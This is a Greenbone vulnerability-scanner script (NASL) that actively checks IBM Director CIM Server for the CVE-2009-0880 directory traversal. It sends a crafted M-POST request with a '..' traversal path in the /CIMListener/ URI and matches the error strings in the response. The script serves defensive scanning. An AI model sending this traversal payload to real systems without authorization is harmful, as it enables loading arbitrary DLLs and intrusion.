IBM Director CIM Server CIMListener Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802684");
  script_version("2025-01-21T05:37:33+0000");
  script_tag(name:"last_modification", value:"2025-01-21 05:37:33 +0000 (Tue, 21 Jan 2025)");
  script_tag(name:"creation_date", value:"2012-12-11 20:37:46 +0530 (Tue, 11 Dec 2012)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2009-0880");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("IBM Director CIM Server CIMListener Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 6988);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"IBM Director CIM Server is prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP M-POST request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to error in IBM Director CIM Server, which
  allow remote attackers to load and execute arbitrary local DLL code via a .. (dot dot) in a
  /CIMListener/ URI in an M-POST request.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to traverse
  the file system and specify any library on the system.");

  script_tag(name:"affected", value:"IBM Director version 5.20.3 Service Update 1 and prior.");

  script_tag(name:"solution", value:"Update to version 5.20.3 Service Update 2 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/34212");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34065");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/23074/");
  script_xref(name:"URL", value:"https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt");
  script_xref(name:"URL", value:"https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=dmp&S_PKG=director_x_520&S_TACT=sms&lang=en_US&cp=UTF-8");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:6988);

xmlscript = string(
'<?xml version="1.0" encoding="utf-8" ?>' +
'<CIM CIMVERSION="2.0" DTDVERSION="2.0">' +
' <MESSAGE ID="1007" PROTOCOLVERSION="1.0">' +
'  <SIMPLEEXPREQ>' +
'    <EXPMETHODCALL NAME="ExportIndication">' +
'     <EXPPARAMVALUE NAME="NewIndication">' +
'      <INSTANCE CLASSNAME="CIM_AlertIndication" >' +
'        <PROPERTY NAME="Description" TYPE="string">' +
'          <VALUE>Sample CIM_AlertIndication indication</VALUE>' +
'        </PROPERTY>' +
'      </INSTANCE>' +
'    </EXPPARAMVALUE>' +
'  </EXPMETHODCALL>' +
' </SIMPLEEXPREQ>' +
' </MESSAGE>' +
'</CIM>');

url = "/CIMListener/\\..\\..\\..\\..\\..\\mydll";

host = http_host_name(port:port);

req = string("M-POST ", url, " HTTP/1.1\r\n" ,
             "Host: ", host, "\r\n" ,
             "Content-Type: application/xml; charset=utf-8\r\n" ,
             "Content-Length: ", strlen(xmlscript), "\r\n" ,
             "Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n" ,
             "CIMOperation: MethodCall\r\n" ,
             "CIMExport: MethodRequest\r\n" ,
             "CIMExportMethod: ExportIndication\r\n",
             "\r\n", xmlscript, "\r\n");
res = http_send_recv(port:port, data:req);

if (res && res =~ "^HTTP/1\.[01] 200" && "CIMExport: " >< res &&
    "Cannot load module " >< res && "Unknown exception" >< res &&
    "Cannot initialize consumer due to security restrictions" >!< res &&
    "Cannot load outside cimom/bin" >!< res && "CIM CIMVERSION=" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);